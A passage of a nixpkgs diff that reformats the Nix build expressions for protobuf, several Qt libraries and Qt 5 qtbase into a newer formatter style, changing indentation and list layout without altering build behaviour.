-      "-Dprotobuf_BUILD_SHARED_LIBS=ON"
-    ]
-    ++ lib.optionals (!finalAttrs.finalPackage.doCheck) [
-      "-Dprotobuf_BUILD_TESTS=OFF"
-    ];
+  cmakeFlags = [
+    "-Dprotobuf_USE_EXTERNAL_GTEST=ON"
+    "-Dprotobuf_ABSL_PROVIDER=package"
+  ]
+  ++ lib.optionals enableShared [
+    "-Dprotobuf_BUILD_SHARED_LIBS=ON"
+  ]
+  ++ lib.optionals (!finalAttrs.finalPackage.doCheck) [
+    "-Dprotobuf_BUILD_TESTS=OFF"
+  ];
 
   doCheck =
     # Tests fail to build on 32-bit platforms; fixed in 22.x
diff --git a/pkgs/development/libraries/qcustomplot/default.nix b/pkgs/development/libraries/qcustomplot/default.nix
index 6ecaacfe6bfc..89f490b70f6f 100644
--- a/pkgs/development/libraries/qcustomplot/default.nix
+++ b/pkgs/development/libraries/qcustomplot/default.nix
@@ -29,13 +29,12 @@ stdenv.mkDerivation (finalAttrs: {
 
   buildInputs = [ qtbase ];
 
-  nativeBuildInputs =
-    [
-      qmake
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      fixDarwinDylibNames
-    ];
+  nativeBuildInputs = [
+    qmake
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    fixDarwinDylibNames
+  ];
 
   env.LANG = "C.UTF-8";
 
diff --git a/pkgs/development/libraries/qdjango/default.nix b/pkgs/development/libraries/qdjango/default.nix
index 128b4fbb08a9..8968cb5e0be1 100644
--- a/pkgs/development/libraries/qdjango/default.nix
+++ b/pkgs/development/libraries/qdjango/default.nix
@@ -24,18 +24,17 @@ stdenv.mkDerivation (finalAttrs: {
     "doc"
   ];
 
-  postPatch =
-    ''
-      # HTML docs depend on regular docs
-      substituteInPlace qdjango.pro \
-        --replace 'dist.depends = docs' 'htmldocs.depends = docs'
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # tst_Auth:constIterator (tests/db/auth/tst_auth.cpp:624) fails on Darwin?
-      # QVERIFY(&*(it += 2) == 0) evals to false
-      substituteInPlace tests/db/db.pro \
-        --replace 'auth' ""
-    '';
+  postPatch = ''
+    # HTML docs depend on regular docs
+    substituteInPlace qdjango.pro \
+      --replace 'dist.depends = docs' 'htmldocs.depends = docs'
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # tst_Auth:constIterator (tests/db/auth/tst_auth.cpp:624) fails on Darwin?
+    # QVERIFY(&*(it += 2) == 0) evals to false
+    substituteInPlace tests/db/db.pro \
+      --replace 'auth' ""
+  '';
 
   qmakeFlags = [
     # Uses Qt testing infrastructure via QMake CONFIG testcase,
diff --git a/pkgs/development/libraries/qgnomeplatform/default.nix b/pkgs/development/libraries/qgnomeplatform/default.nix
index 98bea95922e4..120621df9e62 100644
--- a/pkgs/development/libraries/qgnomeplatform/default.nix
+++ b/pkgs/development/libraries/qgnomeplatform/default.nix
@@ -43,31 +43,29 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      glib
-      gtk3
-      qtbase
-      qtwayland
-    ]
-    ++ lib.optionals (!useQt6) [
-      adwaita-qt
-    ]
-    ++ lib.optionals useQt6 [
-      adwaita-qt6
-    ];
+  buildInputs = [
+    glib
+    gtk3
+    qtbase
+    qtwayland
+  ]
+  ++ lib.optionals (!useQt6) [
+    adwaita-qt
+  ]
+  ++ lib.optionals useQt6 [
+    adwaita-qt6
+  ];
 
   # Qt setup hook complains about missing `wrapQtAppsHook` otherwise.
   dontWrapQtApps = true;
 
-  cmakeFlags =
-    [
-      "-DGLIB_SCHEMAS_DIR=${glib.getSchemaPath gsettings-desktop-schemas}"
-      "-DQT_PLUGINS_DIR=${placeholder "out"}/${qtbase.qtPluginPrefix}"
-    ]
-    ++ lib.optionals useQt6 [
-      "-DUSE_QT6=true"
-    ];
+  cmakeFlags = [
+    "-DGLIB_SCHEMAS_DIR=${glib.getSchemaPath gsettings-desktop-schemas}"
+    "-DQT_PLUGINS_DIR=${placeholder "out"}/${qtbase.qtPluginPrefix}"
+  ]
+  ++ lib.optionals useQt6 [
+    "-DUSE_QT6=true"
+  ];
 
   passthru = {
     updateScript = nix-update-script { };
diff --git a/pkgs/development/libraries/qmenumodel/default.nix b/pkgs/development/libraries/qmenumodel/default.nix
index 5fe61d9418a5..a33c77591ee3 100644
--- a/pkgs/development/libraries/qmenumodel/default.nix
+++ b/pkgs/development/libraries/qmenumodel/default.nix
@@ -32,18 +32,17 @@ stdenv.mkDerivation (finalAttrs: {
     "dev"
   ];
 
-  postPatch =
-    ''
-      substituteInPlace libqmenumodel/src/qmenumodel.pc.in \
-        --replace "\''${exec_prefix}/@CMAKE_INSTALL_LIBDIR@" "\''${prefix}/lib" \
-        --replace "\''${prefix}/@CMAKE_INSTALL_INCLUDEDIR@" "\''${prefix}/include"
+  postPatch = ''
+    substituteInPlace libqmenumodel/src/qmenumodel.pc.in \
+      --replace "\''${exec_prefix}/@CMAKE_INSTALL_LIBDIR@" "\''${prefix}/lib" \
+      --replace "\''${prefix}/@CMAKE_INSTALL_INCLUDEDIR@" "\''${prefix}/include"
 
-      substituteInPlace libqmenumodel/QMenuModel/CMakeLists.txt \
-        --replace "\''${CMAKE_INSTALL_LIBDIR}/qt5/qml" "\''${CMAKE_INSTALL_PREFIX}/${qtbase.qtQmlPrefix}"
-    ''
-    + lib.optionalString finalAttrs.finalPackage.doCheck ''
-      patchShebangs tests/{client,script}/*.py
-    '';
+    substituteInPlace libqmenumodel/QMenuModel/CMakeLists.txt \
+      --replace "\''${CMAKE_INSTALL_LIBDIR}/qt5/qml" "\''${CMAKE_INSTALL_PREFIX}/${qtbase.qtQmlPrefix}"
+  ''
+  + lib.optionalString finalAttrs.finalPackage.doCheck ''
+    patchShebangs tests/{client,script}/*.py
+  '';
 
   strictDeps = true;
 
diff --git a/pkgs/development/libraries/qscintilla/default.nix b/pkgs/development/libraries/qscintilla/default.nix
index 3ac9899bc498..d279955cd51b 100644
--- a/pkgs/development/libraries/qscintilla/default.nix
+++ b/pkgs/development/libraries/qscintilla/default.nix
@@ -27,7 +27,8 @@ stdenv.mkDerivation (finalAttrs: {
   nativeBuildInputs = [
     unzip
     qmake
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ fixDarwinDylibNames ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ fixDarwinDylibNames ];
 
   # Make sure that libqscintilla2.so is available in $out/lib since it is expected
   # by some packages such as sqlitebrowser
diff --git a/pkgs/development/libraries/qt-5/5.15/default.nix b/pkgs/development/libraries/qt-5/5.15/default.nix
index 8bce1413ff31..47aa2b0e4172 100644
--- a/pkgs/development/libraries/qt-5/5.15/default.nix
+++ b/pkgs/development/libraries/qt-5/5.15/default.nix
@@ -195,54 +195,52 @@ let
         hash = "sha256-B/z/+tai01RU/bAJSCp5a0/dGI8g36nwso8MiJv27YM=";
       })
     ];
-    qtwebengine =
-      [
-        ./qtwebengine-link-pulseaudio.patch
-        # Fixes Chromium build failure with Ninja 1.12.
-        # See: https://bugreports.qt.io/browse/QTBUG-124375
-        # Backport of: https://code.qt.io/cgit/qt/qtwebengine-chromium.git/commit/?id=a766045f65f934df3b5f1aa63bc86fbb3e003a09
-        ./qtwebengine-ninja-1.12.patch
-      ]
-      ++ lib.optionals stdenv.hostPlatform.isDarwin [
-        ./qtwebengine-darwin-no-platform-check.patch
-        ./qtwebengine-mac-dont-set-dsymutil-path.patch
-        ./qtwebengine-darwin-checks.patch
-      ];
-    qtwebkit =
-      [
-        (fetchpatch {
-          name = "qtwebkit-python39-json.patch";
-          url = "https://github.com/qtwebkit/qtwebkit/commit/78360c01c796b6260bf828bc9c8a0ef73c5132fd.patch";
-          sha256 = "yCX/UL666BPxjnxT6rIsUrJsPcSWHhZwMFJfuHhbkhk=";
-        })
-        (fetchpatch {
-          name = "qtwebkit-bison-3.7-build.patch";
-          url = "https://github.com/qtwebkit/qtwebkit/commit/d92b11fea65364fefa700249bd3340e0cd4c5b31.patch";
-          sha256 = "0h8ymfnwgkjkwaankr3iifiscsvngqpwb91yygndx344qdiw9y0n";
-        })
-        (fetchpatch {
-          name = "qtwebkit-glib-2.68.patch";
-          url = "https://github.com/qtwebkit/qtwebkit/pull/1058/commits/5b698ba3faffd4e198a45be9fe74f53307395e4b.patch";
-          sha256 = "0a3xv0h4lv8wggckgy8cg8xnpkg7n9h45312pdjdnnwy87xvzss0";
-        })
-        (fetchpatch {
-          name = "qtwebkit-darwin-handle.patch";
-          url = "https://github.com/qtwebkit/qtwebkit/commit/5c272a21e621a66862821d3ae680f27edcc64c19.patch";
-          sha256 = "9hjqLyABz372QDgoq7nXXXQ/3OXBGcYN1/92ekcC3WE=";
-        })
-        (fetchpatch {
-          name = "qtwebkit-libxml2-api-change.patch";
-          url = "https://github.com/WebKit/WebKit/commit/1bad176b2496579d760852c80cff3ad9fb7c3a4b.patch";
-          sha256 = "WZEj+UuKhgJBM7auhND3uddk1wWdTY728jtiWVe7CSI=";
-        })
-        ./qtwebkit.patch
-        ./qtwebkit-icu68.patch
-        ./qtwebkit-cstdint.patch
-      ]
-      ++ lib.optionals stdenv.hostPlatform.isDarwin [
-        ./qtwebkit-darwin-no-readline.patch
-        ./qtwebkit-darwin-no-qos-classes.patch
-      ];
+    qtwebengine = [
+      ./qtwebengine-link-pulseaudio.patch
+      # Fixes Chromium build failure with Ninja 1.12.
+      # See: https://bugreports.qt.io/browse/QTBUG-124375
+      # Backport of: https://code.qt.io/cgit/qt/qtwebengine-chromium.git/commit/?id=a766045f65f934df3b5f1aa63bc86fbb3e003a09
+      ./qtwebengine-ninja-1.12.patch
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isDarwin [
+      ./qtwebengine-darwin-no-platform-check.patch
+      ./qtwebengine-mac-dont-set-dsymutil-path.patch
+      ./qtwebengine-darwin-checks.patch
+    ];
+    qtwebkit = [
+      (fetchpatch {
+        name = "qtwebkit-python39-json.patch";
+        url = "https://github.com/qtwebkit/qtwebkit/commit/78360c01c796b6260bf828bc9c8a0ef73c5132fd.patch";
+        sha256 = "yCX/UL666BPxjnxT6rIsUrJsPcSWHhZwMFJfuHhbkhk=";
+      })
+      (fetchpatch {
+        name = "qtwebkit-bison-3.7-build.patch";
+        url = "https://github.com/qtwebkit/qtwebkit/commit/d92b11fea65364fefa700249bd3340e0cd4c5b31.patch";
+        sha256 = "0h8ymfnwgkjkwaankr3iifiscsvngqpwb91yygndx344qdiw9y0n";
+      })
+      (fetchpatch {
+        name = "qtwebkit-glib-2.68.patch";
+        url = "https://github.com/qtwebkit/qtwebkit/pull/1058/commits/5b698ba3faffd4e198a45be9fe74f53307395e4b.patch";
+        sha256 = "0a3xv0h4lv8wggckgy8cg8xnpkg7n9h45312pdjdnnwy87xvzss0";
+      })
+      (fetchpatch {
+        name = "qtwebkit-darwin-handle.patch";
+        url = "https://github.com/qtwebkit/qtwebkit/commit/5c272a21e621a66862821d3ae680f27edcc64c19.patch";
+        sha256 = "9hjqLyABz372QDgoq7nXXXQ/3OXBGcYN1/92ekcC3WE=";
+      })
+      (fetchpatch {
+        name = "qtwebkit-libxml2-api-change.patch";
+        url = "https://github.com/WebKit/WebKit/commit/1bad176b2496579d760852c80cff3ad9fb7c3a4b.patch";
+        sha256 = "WZEj+UuKhgJBM7auhND3uddk1wWdTY728jtiWVe7CSI=";
+      })
+      ./qtwebkit.patch
+      ./qtwebkit-icu68.patch
+      ./qtwebkit-cstdint.patch
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isDarwin [
+      ./qtwebkit-darwin-no-readline.patch
+      ./qtwebkit-darwin-no-qos-classes.patch
+    ];
     qttools = [ ./qttools.patch ];
   };
 
@@ -418,7 +416,8 @@ let
           propagatedBuildInputs = [
             qtbase.dev
             makeBinaryWrapper
-          ] ++ lib.optional stdenv.hostPlatform.isLinux qtwayland.dev;
+          ]
+          ++ lib.optional stdenv.hostPlatform.isLinux qtwayland.dev;
         } ../hooks/wrap-qt-apps-hook.sh
       ) { };
     };
diff --git a/pkgs/development/libraries/qt-5/modules/qtbase.nix b/pkgs/development/libraries/qt-5/modules/qtbase.nix
index e9be662ab6d4..189562011d78 100644
--- a/pkgs/development/libraries/qt-5/modules/qtbase.nix
+++ b/pkgs/development/libraries/qt-5/modules/qtbase.nix
@@ -101,78 +101,75 @@ stdenv.mkDerivation (
       inherit qtCompatVersion src version;
       debug = debugSymbols;
 
-      propagatedBuildInputs =
+      propagatedBuildInputs = [
+        libxml2
+        libxslt
+        openssl
+        sqlite
+        zlib
+
+        # Text rendering
+        freetype
+        harfbuzz
+        icu
+
+        # Image formats
+        libjpeg
+        libpng
+        pcre2
+      ]
+      ++ lib.optionals (!stdenv.hostPlatform.isDarwin) (
         [
-          libxml2
-          libxslt
-          openssl
-          sqlite
-          zlib
+          dbus
+          glib
+          udev
 
           # Text rendering
-          freetype
-          harfbuzz
-          icu
+          fontconfig
 
-          # Image formats
-          libjpeg
-          libpng
-          pcre2
+          libdrm
+
+          # X11 libs
+          libX11
+          libXcomposite
+          libXext
+          libXi
+          libXrender
+          libxcb
+          libxkbcommon
+          xcbutil
+          xcbutilimage
+          xcbutilkeysyms
+          xcbutilrenderutil
+          xcbutilwm
         ]
-        ++ lib.optionals (!stdenv.hostPlatform.isDarwin) (
-          [
-            dbus
-            glib
-            udev
+        ++ lib.optional libGLSupported libGL
+      );
 
-            # Text rendering
-            fontconfig
+      buildInputs = [
+        python3
+        at-spi2-core
+      ]
+      ++ lib.optionals (!stdenv.hostPlatform.isDarwin) (
+        lib.optional withLibinput libinput ++ lib.optional withGtk3 gtk3
+      )
+      ++ lib.optional stdenv.hostPlatform.isDarwin darwinVersionInputs
+      ++ lib.optional developerBuild gdb
+      ++ lib.optional (cups != null) cups
+      ++ lib.optional (mysqlSupport) libmysqlclient
+      ++ lib.optional (libpq != null) libpq;
 
-            libdrm
-
-            # X11 libs
-            libX11
-            libXcomposite
-            libXext
-            libXi
-            libXrender
-            libxcb
-            libxkbcommon
-            xcbutil
-            xcbutilimage
-            xcbutilkeysyms
-            xcbutilrenderutil
-            xcbutilwm
-          ]
-          ++ lib.optional libGLSupported libGL
-        );
-
-      buildInputs =
-        [
-          python3
-          at-spi2-core
-        ]
-        ++ lib.optionals (!stdenv.hostPlatform.isDarwin) (
-          lib.optional withLibinput libinput ++ lib.optional withGtk3 gtk3
-        )
-        ++ lib.optional stdenv.hostPlatform.isDarwin darwinVersionInputs
-        ++ lib.optional developerBuild gdb
-        ++ lib.optional (cups != null) cups
-        ++ lib.optional (mysqlSupport) libmysqlclient
-        ++ lib.optional (libpq != null) libpq;
-
-      nativeBuildInputs =
-        [
-          bison
-          flex
-          gperf
-          lndir
-          perl
-          pkg-config
-          which
-        ]
-        ++ lib.optionals (mysqlSupport) [ libmysqlclient ]
-        ++ lib.optionals stdenv.hostPlatform.isDarwin [ xcbuild ];
+      nativeBuildInputs = [
+        bison
+        flex
+        gperf
+        lndir
+        perl
+        pkg-config
+        which
+      ]
+      ++ lib.optionals (mysqlSupport) [ libmysqlclient ]
+      ++ lib.optionals stdenv.hostPlatform.isDarwin [ xcbuild ];
 
     }
     // lib.optionalAttrs (stdenv.buildPlatform != stdenv.hostPlatform) {
@@ -212,90 +209,88 @@ stdenv.mkDerivation (
         . ${../hooks/fix-qmake-libtool.sh}
       '';
 
-      postPatch =
-        ''
-          for prf in qml_plugin.prf qt_plugin.prf qt_docs.prf qml_module.prf create_cmake.prf; do
-              substituteInPlace "mkspecs/features/$prf" \
-                  --subst-var qtPluginPrefix \
-                  --subst-var qtQmlPrefix \
-                  --subst-var qtDocPrefix
-          done
+      postPatch = ''
+        for prf in qml_plugin.prf qt_plugin.prf qt_docs.prf qml_module.prf create_cmake.prf; do
+            substituteInPlace "mkspecs/features/$prf" \
+                --subst-var qtPluginPrefix \
+                --subst-var qtQmlPrefix \
+                --subst-var qtDocPrefix
+        done
 
-          substituteInPlace configure --replace /bin/pwd pwd
-          substituteInPlace src/corelib/global/global.pri --replace /bin/ls ${coreutils}/bin/ls
-          sed -e 's@/\(usr\|opt\)/@/var/empty/@g' -i mkspecs/*/*.conf
+        substituteInPlace configure --replace /bin/pwd pwd
+        substituteInPlace src/corelib/global/global.pri --replace /bin/ls ${coreutils}/bin/ls
+        sed -e 's@/\(usr\|opt\)/@/var/empty/@g' -i mkspecs/*/*.conf
 
-          sed -i '/PATHS.*NO_DEFAULT_PATH/ d' src/corelib/Qt5Config.cmake.in
-          sed -i '/PATHS.*NO_DEFAULT_PATH/ d' src/corelib/Qt5CoreMacros.cmake
-          sed -i 's/NO_DEFAULT_PATH//' src/gui/Qt5GuiConfigExtras.cmake.in
-          sed -i '/PATHS.*NO_DEFAULT_PATH/ d' mkspecs/features/data/cmake/Qt5BasicConfig.cmake.in
+        sed -i '/PATHS.*NO_DEFAULT_PATH/ d' src/corelib/Qt5Config.cmake.in
+        sed -i '/PATHS.*NO_DEFAULT_PATH/ d' src/corelib/Qt5CoreMacros.cmake
+        sed -i 's/NO_DEFAULT_PATH//' src/gui/Qt5GuiConfigExtras.cmake.in
+        sed -i '/PATHS.*NO_DEFAULT_PATH/ d' mkspecs/features/data/cmake/Qt5BasicConfig.cmake.in
 
-          # https://bugs.gentoo.org/803470
-          sed -i 's/-lpthread/-pthread/' mkspecs/common/linux.conf src/corelib/configure.json
+        # https://bugs.gentoo.org/803470
+        sed -i 's/-lpthread/-pthread/' mkspecs/common/linux.conf src/corelib/configure.json
 
-          patchShebangs ./bin
-        ''
-        + (
-          if stdenv.hostPlatform.isDarwin then
-            ''
-              for file in \
-                configure \
-                mkspecs/features/mac/asset_catalogs.prf \
-                mkspecs/features/mac/default_pre.prf \
-                mkspecs/features/mac/sdk.mk \
-                mkspecs/features/mac/sdk.prf
-              do
-                substituteInPlace "$file" \
-                  --replace-quiet /usr/bin/xcode-select '${lib.getExe' xcbuild "xcode-select"}' \
-                  --replace-quiet /usr/bin/xcrun '${lib.getExe' xcbuild "xcrun"}' \
-                  --replace-quiet /usr/libexec/PlistBuddy '${lib.getExe' xcbuild "PlistBuddy"}'
-              done
+        patchShebangs ./bin
+      ''
+      + (
+        if stdenv.hostPlatform.isDarwin then
+          ''
+            for file in \
+              configure \
+              mkspecs/features/mac/asset_catalogs.prf \
+              mkspecs/features/mac/default_pre.prf \
+              mkspecs/features/mac/sdk.mk \
+              mkspecs/features/mac/sdk.prf
+            do
+              substituteInPlace "$file" \
+                --replace-quiet /usr/bin/xcode-select '${lib.getExe' xcbuild "xcode-select"}' \
+                --replace-quiet /usr/bin/xcrun '${lib.getExe' xcbuild "xcrun"}' \
+                --replace-quiet /usr/libexec/PlistBuddy '${lib.getExe' xcbuild "PlistBuddy"}'
+            done
 
-              substituteInPlace configure \
-                --replace-fail /System/Library/Frameworks/Cocoa.framework "$SDKROOT/System/Library/Frameworks/Cocoa.framework"
+            substituteInPlace configure \
+              --replace-fail /System/Library/Frameworks/Cocoa.framework "$SDKROOT/System/Library/Frameworks/Cocoa.framework"
 
-              substituteInPlace mkspecs/common/macx.conf \
-                --replace-fail 'CONFIG += ' 'CONFIG += no_default_rpath ' \
-                --replace-fail \
-                  'QMAKE_MACOSX_DEPLOYMENT_TARGET = 10.13' \
-                  "QMAKE_MACOSX_DEPLOYMENT_TARGET = $MACOSX_DEPLOYMENT_TARGET"
-            ''
-          else
-            lib.optionalString libGLSupported ''
-              sed -i mkspecs/common/linux.conf \
-                  -e "/^QMAKE_INCDIR_OPENGL/ s|$|${lib.getDev libGL}/include|" \
-                  -e "/^QMAKE_LIBDIR_OPENGL/ s|$|${lib.getLib libGL}/lib|"
-            ''
-            + lib.optionalString (stdenv.hostPlatform.isx86_32 && stdenv.cc.isGNU) ''
-              sed -i mkspecs/common/gcc-base-unix.conf \
-                  -e "/^QMAKE_LFLAGS_SHLIB/ s/-shared/-shared -static-libgcc/"
-            ''
-        );
+            substituteInPlace mkspecs/common/macx.conf \
+              --replace-fail 'CONFIG += ' 'CONFIG += no_default_rpath ' \
+              --replace-fail \
+                'QMAKE_MACOSX_DEPLOYMENT_TARGET = 10.13' \
+                "QMAKE_MACOSX_DEPLOYMENT_TARGET = $MACOSX_DEPLOYMENT_TARGET"
+          ''
+        else
+          lib.optionalString libGLSupported ''
+            sed -i mkspecs/common/linux.conf \
+                -e "/^QMAKE_INCDIR_OPENGL/ s|$|${lib.getDev libGL}/include|" \
+                -e "/^QMAKE_LIBDIR_OPENGL/ s|$|${lib.getLib libGL}/lib|"
+          ''
+          + lib.optionalString (stdenv.hostPlatform.isx86_32 && stdenv.cc.isGNU) ''
+            sed -i mkspecs/common/gcc-base-unix.conf \
+                -e "/^QMAKE_LFLAGS_SHLIB/ s/-shared/-shared -static-libgcc/"
+          ''
+      );
 
       qtPluginPrefix = "lib/qt-${qtCompatVersion}/plugins";
       qtQmlPrefix = "lib/qt-${qtCompatVersion}/qml";
       qtDocPrefix = "share/doc/qt-${qtCompatVersion}";
 
       setOutputFlags = false;
-      preConfigure =
-        ''
-          export LD_LIBRARY_PATH="$PWD/lib:$PWD/plugins/platforms''${LD_LIBRARY_PATH:+:}$LD_LIBRARY_PATH"
+      preConfigure = ''
+        export LD_LIBRARY_PATH="$PWD/lib:$PWD/plugins/platforms''${LD_LIBRARY_PATH:+:}$LD_LIBRARY_PATH"
 
-          NIX_CFLAGS_COMPILE+=" -DNIXPKGS_QT_PLUGIN_PREFIX=\"$qtPluginPrefix\""
+        NIX_CFLAGS_COMPILE+=" -DNIXPKGS_QT_PLUGIN_PREFIX=\"$qtPluginPrefix\""
 
-          # paralellize compilation of qtmake, which happens within ./configure
-          export MAKEFLAGS+=" -j$NIX_BUILD_CORES"
+        # paralellize compilation of qtmake, which happens within ./configure
+        export MAKEFLAGS+=" -j$NIX_BUILD_CORES"
 
-          ./bin/syncqt.pl -version $version
-        ''
-        + lib.optionalString (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-          # QT's configure script will refuse to use pkg-config unless these two environment variables are set
-          export PKG_CONFIG_SYSROOT_DIR=/
-          export PKG_CONFIG_LIBDIR=${lib.getLib pkg-config}/lib
-          echo "QMAKE_LFLAGS=''${LDFLAGS}" >> mkspecs/devices/${qtPlatformCross stdenv.hostPlatform}/qmake.conf
-          echo "QMAKE_CFLAGS=''${CFLAGS}" >> mkspecs/devices/${qtPlatformCross stdenv.hostPlatform}/qmake.conf
-          echo "QMAKE_CXXFLAGS=''${CXXFLAGS}" >> mkspecs/devices/${qtPlatformCross stdenv.hostPlatform}/qmake.conf
-        '';
+        ./bin/syncqt.pl -version $version
+      ''
+      + lib.optionalString (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+        # QT's configure script will refuse to use pkg-config unless these two environment variables are set
+        export PKG_CONFIG_SYSROOT_DIR=/
+        export PKG_CONFIG_LIBDIR=${lib.getLib pkg-config}/lib
+        echo "QMAKE_LFLAGS=''${LDFLAGS}" >> mkspecs/devices/${qtPlatformCross stdenv.hostPlatform}/qmake.conf
+        echo "QMAKE_CFLAGS=''${CFLAGS}" >> mkspecs/devices/${qtPlatformCross stdenv.hostPlatform}/qmake.conf
+        echo "QMAKE_CXXFLAGS=''${CXXFLAGS}" >> mkspecs/devices/${qtPlatformCross stdenv.hostPlatform}/qmake.conf
+      '';
 
       postConfigure = ''
         qmakeCacheInjectNixOutputs() {
@@ -319,38 +314,37 @@ stdenv.mkDerivation (
         done
       '';
 
-      env =
-        {
-          NIX_CFLAGS_COMPILE = toString (
-            [
-              "-Wno-error=sign-compare" # freetype-2.5.4 changed signedness of some struct fields
-            ]
-            ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
-              "-Wno-warn=free-nonheap-object"
-              "-Wno-free-nonheap-object"
-              "-w"
-            ]
-            ++ [
-              ''-DNIXPKGS_QTCOMPOSE="${libX11.out}/share/X11/locale"''
-              ''-DLIBRESOLV_SO="${stdenv.cc.libc.out}/lib/libresolv"''
-              ''-DNIXPKGS_LIBXCURSOR="${libXcursor.out}/lib/libXcursor"''
-            ]
-            ++ lib.optional libGLSupported ''-DNIXPKGS_MESA_GL="${libGL.out}/lib/libGL"''
-            ++ lib.optional stdenv.hostPlatform.isLinux "-DUSE_X11"
-            ++ lib.optionals withGtk3 [
-              ''-DNIXPKGS_QGTK3_XDG_DATA_DIRS="${gtk3}/share/gsettings-schemas/${gtk3.name}"''
-              ''-DNIXPKGS_QGTK3_GIO_EXTRA_MODULES="${dconf.lib}/lib/gio/modules"''
-            ]
-            ++ lib.optional decryptSslTraffic "-DQT_DECRYPT_SSL_TRAFFIC"
-          );
-        }
-        // lib.optionalAttrs (stdenv.buildPlatform != stdenv.hostPlatform) {
-          NIX_CFLAGS_COMPILE_FOR_BUILD = toString ([
+      env = {
+        NIX_CFLAGS_COMPILE = toString (
+          [
+            "-Wno-error=sign-compare" # freetype-2.5.4 changed signedness of some struct fields
+          ]
+          ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
             "-Wno-warn=free-nonheap-object"
             "-Wno-free-nonheap-object"
             "-w"
-          ]);
-        };
+          ]
+          ++ [
+            ''-DNIXPKGS_QTCOMPOSE="${libX11.out}/share/X11/locale"''
+            ''-DLIBRESOLV_SO="${stdenv.cc.libc.out}/lib/libresolv"''
+            ''-DNIXPKGS_LIBXCURSOR="${libXcursor.out}/lib/libXcursor"''
+          ]
+          ++ lib.optional libGLSupported ''-DNIXPKGS_MESA_GL="${libGL.out}/lib/libGL"''
+          ++ lib.optional stdenv.hostPlatform.isLinux "-DUSE_X11"
+          ++ lib.optionals withGtk3 [
+            ''-DNIXPKGS_QGTK3_XDG_DATA_DIRS="${gtk3}/share/gsettings-schemas/${gtk3.name}"''
+            ''-DNIXPKGS_QGTK3_GIO_EXTRA_MODULES="${dconf.lib}/lib/gio/modules"''
+          ]
+          ++ lib.optional decryptSslTraffic "-DQT_DECRYPT_SSL_TRAFFIC"
+        );
+      }
+      // lib.optionalAttrs (stdenv.buildPlatform != stdenv.hostPlatform) {
+        NIX_CFLAGS_COMPILE_FOR_BUILD = toString ([
+          "-Wno-warn=free-nonheap-object"
+          "-Wno-free-nonheap-object"
+          "-w"
+        ]);
+      };
 
       prefixKey = "-prefix ";
 
@@ -365,153 +359,152 @@ stdenv.mkDerivation (
     }
     // {
       # TODO Remove obsolete and useless flags once the build will be totally mastered
-      configureFlags =
-        [
-          "-plugindir $(out)/$(qtPluginPrefix)"
-          "-qmldir $(out)/$(qtQmlPrefix)"
-          "-docdir $(out)/$(qtDocPrefix)"
+      configureFlags = [
+        "-plugindir $(out)/$(qtPluginPrefix)"
+        "-qmldir $(out)/$(qtQmlPrefix)"
+        "-docdir $(out)/$(qtDocPrefix)"
 
-          "-verbose"
-          "-confirm-license"
-          "-opensource"
+        "-verbose"
+        "-confirm-license"
+        "-opensource"
 
-          "-release"
-          "-shared"
-          "-accessibility"
-          "-optimized-qmake"
-          # for separateDebugInfo
-          "-no-strip"
-          "-system-proxies"
-          "-pkg-config"
+        "-release"
+        "-shared"
+        "-accessibility"
+        "-optimized-qmake"
+        # for separateDebugInfo
+        "-no-strip"
+        "-system-proxies"
+        "-pkg-config"
 
-          "-gui"
-          "-widgets"
-          "-opengl desktop"
-          "-icu"
-          "-L"
-          "${icu.out}/lib"
-          "-I"
-          "${icu.dev}/include"
-          "-pch"
-        ]
-        ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-          "-device ${qtPlatformCross stdenv.hostPlatform}"
-          "-device-option CROSS_COMPILE=${stdenv.cc.targetPrefix}"
-        ]
-        ++ lib.optional debugSymbols "-debug"
-        ++ lib.optionals developerBuild [
-          "-developer-build"
-          "-no-warnings-are-errors"
-        ]
-        ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [
-          "-no-warnings-are-errors"
-        ]
-        ++ (
-          if (!stdenv.hostPlatform.isx86_64) then
-            [
-              "-no-sse2"
-            ]
-          else
-            [
-              "-sse2"
-              "${lib.optionalString (!stdenv.hostPlatform.sse3Support) "-no"}-sse3"
-              "${lib.optionalString (!stdenv.hostPlatform.ssse3Support) "-no"}-ssse3"
-              "${lib.optionalString (!stdenv.hostPlatform.sse4_1Support) "-no"}-sse4.1"
-              "${lib.optionalString (!stdenv.hostPlatform.sse4_2Support) "-no"}-sse4.2"
-              "${lib.optionalString (!stdenv.hostPlatform.avxSupport) "-no"}-avx"
-              "${lib.optionalString (!stdenv.hostPlatform.avx2Support) "-no"}-avx2"
-            ]
-        )
-        ++ [
-          "-no-mips_dsp"
-          "-no-mips_dspr2"
-        ]
-        ++ [
-          "-system-zlib"
-          "-L"
-          "${zlib.out}/lib"
-          "-I"
-          "${zlib.dev}/include"
-          "-system-libjpeg"
-          "-L"
-          "${libjpeg.out}/lib"
-          "-I"
-          "${libjpeg.dev}/include"
-          "-system-harfbuzz"
-          "-L"
-          "${harfbuzz.out}/lib"
-          "-I"
-          "${harfbuzz.dev}/include"
-          "-system-pcre"
-          "-openssl-linked"
-          "-L"
-          "${lib.getLib openssl}/lib"
-          "-I"
-          "${openssl.dev}/include"
-          "-system-sqlite"
-          ''-${if mysqlSupport then "plugin" else "no"}-sql-mysql''
-          ''-${if libpq != null then "plugin" else "no"}-sql-psql''
-          "-system-libpng"
+        "-gui"
+        "-widgets"
+        "-opengl desktop"
+        "-icu"
+        "-L"
+        "${icu.out}/lib"
+        "-I"
+        "${icu.dev}/include"
+        "-pch"
+      ]
+      ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+        "-device ${qtPlatformCross stdenv.hostPlatform}"
